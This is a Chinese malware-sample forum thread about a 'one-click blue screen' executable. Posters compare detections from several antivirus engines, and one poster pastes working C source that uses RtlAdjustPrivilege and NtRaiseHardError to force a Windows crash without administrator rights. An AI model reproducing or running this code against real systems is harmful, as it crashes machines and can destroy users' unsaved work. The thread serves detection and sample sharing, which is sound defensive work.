[恶意文件]一键蓝屏

显示全部楼层 · 发表于 2022-5-1 14:43:27

本帖最后由 anthonyqian 于 2022-5-1 16:13 编辑

卡巴斯基

The detection will be added in the next update:
BSOD.exe - HackTool.Win64.Agent.hs

ESET

Thank you for your submission.
The detection for this threat will be included in the next update of detection engine, expected version: 25196.

_________.exe - Win64/Agent.BHV trojan

显示全部楼层 · 发表于 2022-5-1 14:51:57

火绒miss

显示全部楼层 · 发表于 2022-5-1 18:22:37

金山 & QQ & G DATA 未报

显示全部楼层 · 发表于 2022-5-1 21:33:03

诺顿：WS.Reputation.1（下载智能分析）

双击蓝屏

显示全部楼层 · 发表于 2022-5-1 21:45:37

网上随便抄的代码吧，。
#include <Windows.h>
#include "NTHeaders.h"

HINSTANCE hInst; // 当前实例

typedef UINT (CALLBACK* NTRAISEHARDERROR)(NTSTATUS, ULONG, PUNICODE_STRING, PVOID,HARDERROR_RESPONSE_OPTION, PHARDERROR_RESPONSE);
typedef UINT (CALLBACK* RTLADJUSTPRIVILEGE)(ULONG, BOOL, BOOL, PINT);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HINSTANCE hDLL = LoadLibrary(TEXT("ntdll.dll"));
NTRAISEHARDERROR NtRaiseHardError;
RTLADJUSTPRIVILEGE RtlAdjustPrivilege;
int nEn = 0;
HARDERROR_RESPONSE reResponse;
if (hDLL != NULL)
{
NtRaiseHardError = (NTRAISEHARDERROR)GetProcAddress(hDLL, "NtRaiseHardError");
RtlAdjustPrivilege = (RTLADJUSTPRIVILEGE)GetProcAddress(hDLL, "RtlAdjustPrivilege");
if (!NtRaiseHardError)
{
// handle the error
FreeLibrary(hDLL);
return 0;
}
if (!RtlAdjustPrivilege)
{
// handle the error
FreeLibrary(hDLL);
return 0;
}
RtlAdjustPrivilege(0x13, TRUE, FALSE, &nEn);//0x13 = SeShutdownPrivilege
NtRaiseHardError(0xC000021A,0,0,0,OptionShutdownSystem,&reResponse);
}
return 0;
}

显示全部楼层 · 发表于 2022-5-1 21:48:58

wowocock 发表于 2022-5-1 21:45
网上随便抄的代码吧，。
#include
#include "NTHeaders.h"

来源：qq群

显示全部楼层 · 发表于 2022-5-2 09:06:55

没有名字ssss 发表于 2022-5-1 10:44
恶意文件（错误
一键摸鱼（正确

这可太草了

显示全部楼层 · 发表于 2022-5-2 09:08:26

wowocock 发表于 2022-5-1 21:45
网上随便抄的代码吧，。
#include
#include "NTHeaders.h"

所以说360能拦截吗，我先用实体机作死

显示全部楼层 · 发表于 2022-5-2 09:08:51

wowocock 发表于 2022-5-1 21:45
网上随便抄的代码吧，。
#include
#include "NTHeaders.h"

我的电脑带不动虚拟机

显示全部楼层 · 发表于 2022-5-2 18:42:36

火绒
病毒名称：Trojan/Generic!B424A4CC320FA077
病毒ID：B424A4CC320FA077
病毒路径：C:\Users\zf\Downloads\1\无需管理员一键蓝屏.exe
操作类型：修改
操作结果：已处理

进程ID：9616
操作进程：C:\Windows\explorer.exe
操作进程命令行：C:\WINDOWS\Explorer.EXE
父进程：C:\Windows\System32\userinit.exe

[病毒样本] [恶意文件]一键蓝屏